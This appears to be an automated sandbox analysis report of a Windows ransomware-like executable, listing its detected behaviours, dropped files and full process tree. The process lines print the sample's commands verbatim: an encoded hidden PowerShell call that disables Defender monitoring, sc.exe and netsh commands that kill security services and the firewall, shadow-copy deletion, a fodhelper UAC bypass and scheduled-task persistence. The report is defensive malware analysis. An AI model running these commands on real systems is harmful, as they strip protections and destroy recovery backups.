Analysis

  • max time kernel
    150s
  • max time network
    173s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/05/2026, 07:45

General

  • Target
    creditstacks.com_hybers.exe
  • Size 49KB
  • Sample260504-jletkshx9q
  • SHA256 26afd93c6fadf5ae23ec81acb711f6b6c89183ec9e80d3ab85bad86df235e020
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 25 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe
    "C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5852
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:1340
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:6128
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:2484
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:1520
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:5876
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:5744
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:464
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:2772
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2016
      • C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe
        "C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe"
        3⤵
          PID:5600
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:3844
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2404
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe"
          2⤵
            PID:1776
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1992
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              3⤵
              • Interacts with shadow copies
              PID:5264
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic shadowcopy delete
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3228
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1236
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              3⤵
              • Gathers system information
              PID:4124
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4960
            • C:\Windows\system32\tasklist.exe
              tasklist
              3⤵
              • Enumerates processes with tasklist
              • Suspicious use of AdjustPrivilegeToken
              PID:2576
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3200
            • C:\Windows\system32\whoami.exe
              whoami
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3044
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4576
            • C:\Windows\system32\net.exe
              net user
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:5604
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user
                4⤵
                  PID:4876
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:5272
              • C:\Windows\system32\ipconfig.exe
                ipconfig /all
                3⤵
                • Gathers network information
                PID:4748
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2656
              • C:\Windows\system32\NETSTAT.EXE
                netstat -an
                3⤵
                • Gathers network information
                • Suspicious use of AdjustPrivilegeToken
                PID:1000
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe" /sc daily /f
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:5700
            • C:\Windows\System32\wscript.exe
              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
              2⤵
                PID:2052
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:4740
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:5904
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:5876
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:5576
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:1568
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:6072
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:5440
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa38c2855 /state1:0x41c64e6d
                1⤵
                • Drops desktop.ini file(s)
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:4640
              • C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe
                C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe
                1⤵
                  PID:5680
                • C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe
                  C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe
                  1⤵
                    PID:5148
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5608

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

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                        Downloads

                        LockScreen___1920_1080_notdimmed.jpg

                        • Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-914486190-3969805341-592249730-1000\ReadOnly\LockScreen_O\LockScreen___1920_1080_notdimmed.jpg
                        • Size 297KB
                        • SHA256 71c849922e6b500311edcd9fdd9a3ccaed04bbd8f886d9505f667c361d3417ce
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        invoice_1.pdf

                        • Path C:\ProgramData\invoice_1.pdf
                        • Size 66KB
                        • SHA256 6736994ab1bdcd0634ebed9ecd1ea138ce5bb88b9c5c3aeb9cab60f81362b950
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_3.pdf

                        • Path C:\SystemVolumeInformation\doc_3.pdf
                        • Size 66KB
                        • SHA256 b26cc81fc699acdf0459d488e35ae8ab6429cb1701d223a0d34452497ca1d74b
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        creditstacks.com_hybers.exe.log

                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\creditstacks.com_hybers.exe.log
                        • Size 660B
                        • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                        • MD5 SHA1 SHA512 TLSH

                        __PSScriptPolicyTest_shxpivlx.gj1.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_shxpivlx.gj1.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 248B
                        • SHA256 a8e662a5c300af0e956d67e042283589dfd3b67521adef344ae8b1bc63fcb1c1
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 249B
                        • SHA256 3a44ed592da98f11cce1cb0810050e256c7745a17f7e369793d1e28448c669ea
                        • MD5 SHA1 SHA512 TLSH

                        sysupdate.exe

                        • Path C:\Windows\System32\sysupdate.exe
                        • Size 49KB
                        • SHA256 26afd93c6fadf5ae23ec81acb711f6b6c89183ec9e80d3ab85bad86df235e020
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/1776-2280-0x0000017C1C6E0000-0x0000017C1C789000-memory.dmp

                        memory/1776-2260-0x0000017C1E460000-0x0000017C1E461000-memory.dmp

                        memory/2016-312-0x000001F838220000-0x000001F8382C9000-memory.dmp

                        memory/2052-2287-0x000002053C210000-0x000002053C21C000-memory.dmp

                        memory/2052-2283-0x000002053DE20000-0x000002053DEC9000-memory.dmp

                        memory/2052-2284-0x000002053C210000-0x000002053C21C000-memory.dmp

                        memory/2052-2286-0x000002053DE20000-0x000002053DEC9000-memory.dmp

                        memory/2576-2288-0x0000018472300000-0x00000184723A9000-memory.dmp

                        memory/3844-2243-0x0000020443DC0000-0x0000020443E69000-memory.dmp

                        memory/3844-2245-0x0000020442160000-0x000002044216C000-memory.dmp

                        memory/4124-2290-0x00000152F3290000-0x00000152F3339000-memory.dmp

                        memory/4640-789-0x0000025027080000-0x0000025027129000-memory.dmp

                        memory/4676-581-0x00000000009F0000-0x00000000009FC000-memory.dmp

                        memory/4676-15-0x000000001DAD0000-0x000000001DFF8000-memory.dmp

                        memory/4676-14-0x000000001D900000-0x000000001DAC2000-memory.dmp

                        memory/4676-790-0x00000000022B0000-0x00000000022C0000-memory.dmp

                        memory/4676-1-0x00000000022B0000-0x00000000022C0000-memory.dmp

                        memory/4676-0-0x0000000000120000-0x0000000000132000-memory.dmp

                        memory/4676-582-0x000000001C370000-0x000000001C419000-memory.dmp

                        memory/4740-2279-0x00000299FF330000-0x00000299FF3D9000-memory.dmp

                        memory/5264-2282-0x0000017DAA390000-0x0000017DAA439000-memory.dmp

                        memory/5608-2292-0x0000022D1E1A0000-0x0000022D1E249000-memory.dmp

                        memory/5852-438-0x000001AFFFF40000-0x000001AFFFF62000-memory.dmp

                        memory/5852-1593-0x000001AF81AB0000-0x000001AF81B59000-memory.dmp

                        memory/5852-1594-0x000001AF81C30000-0x000001AF81C3C000-memory.dmp

                        memory/5852-1213-0x000001AF81AB0000-0x000001AF81B59000-memory.dmp

                        memory/5852-1232-0x000001AF81C30000-0x000001AF81C3C000-memory.dmp